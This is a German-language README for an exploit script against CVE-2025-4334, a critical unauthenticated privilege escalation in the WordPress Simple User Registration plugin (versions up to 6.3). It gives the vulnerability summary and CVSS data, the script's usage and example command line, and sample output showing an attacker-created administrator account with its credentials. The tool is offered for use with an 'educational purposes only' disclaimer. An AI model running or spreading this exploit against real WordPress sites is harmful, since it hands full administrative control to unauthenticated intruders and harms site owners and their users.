🔓 Simple User Registration <= 6.3 – Unauthenticated Privilege Escalation

📄 Beschreibung

Das Simple User Registration Plugin für WordPress ist in allen Versionen bis einschließlich 6.3 anfällig für Privilege Escalation.
Grund dafür sind unzureichende Einschränkungen bei Benutzer-Meta-Werten, die während der Registrierung übergeben werden können.
Dadurch können nicht authentifizierte Angreifer sich als Administrator registrieren.

🛡️ Details zur Schwachstelle

• Typ: Fehlerhaftes Berechtigungsmanagement
• CVE: CVE-2025-4334
• CVSS-Score: 9.8 (Kritisch)
• CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Öffentlich veröffentlicht: 25. Juni 2025
• Zuletzt aktualisiert: 26. Juni 2025

🛠️ Exploit-Skript

Der Exploit automatisiert die Privilegienausweitung durch Formularübermittlung unter Verwendung von extrahiertem Nonce, Formular-ID und Referer.

⚙️ Verwendung

python CVE-2025-4334.py -h

usage: CVE-2025-4334.py [-h] -u URL --form FORM

Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation - von Khaled Alenazi (Nxploited)

Optionen:
  -h, --help     Zeigt diese Hilfemeldung an und beendet das Programm
  -u, --url URL  Basis-WordPress-URL (z.B. http://localhost/wordpress/)
  --form FORM    Vollständige URL der Seite, die das Registrierungsformular enthält

🌐 URL-Erklärung

• -u → Basis-WordPress-Installation (z.B. http://localhost/wordpress/)
• --form → Vollständige URL zum anfälligen Registrierungsformular (z.B. http://localhost/wpr/default-registration/)

🧪 Beispiel

python CVE-2025-4334.py -u http://localhost/wordpress/ --form http://localhost/wpr/default-registration/

✅ Ergebnis

[i] Extracted Nonce   : ffcf0140a8
[i] Extracted Form ID : 76
[i] Referer Path      : /wpr/default-registration/
[i] HTTP Response Code : 200
[i] Server Response    : {"user_id":13,"status":"success","signup":"signup","message":"Registration Done !\r\nUser Register Email not sent, please contact admin","redirect_url_signup":null}

[+] Exploitation Successful
[+] Username   : Nxploitedadmin
[+] First Name : Nxploitedadmin
[+] Last Name  : Nxploitedadmin
[+] Email      : [email protected]
[+] Password   : nxp1234
[+] Role       : administrator

Exploit By : Khaled_alenazi (Nxploited)

⚠️ Haftungsausschluss

Dieses Skript dient ausschließlich zu Bildungs- und Forschungszwecken.
Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.

Von: Khaled_alenazi (Nxploited)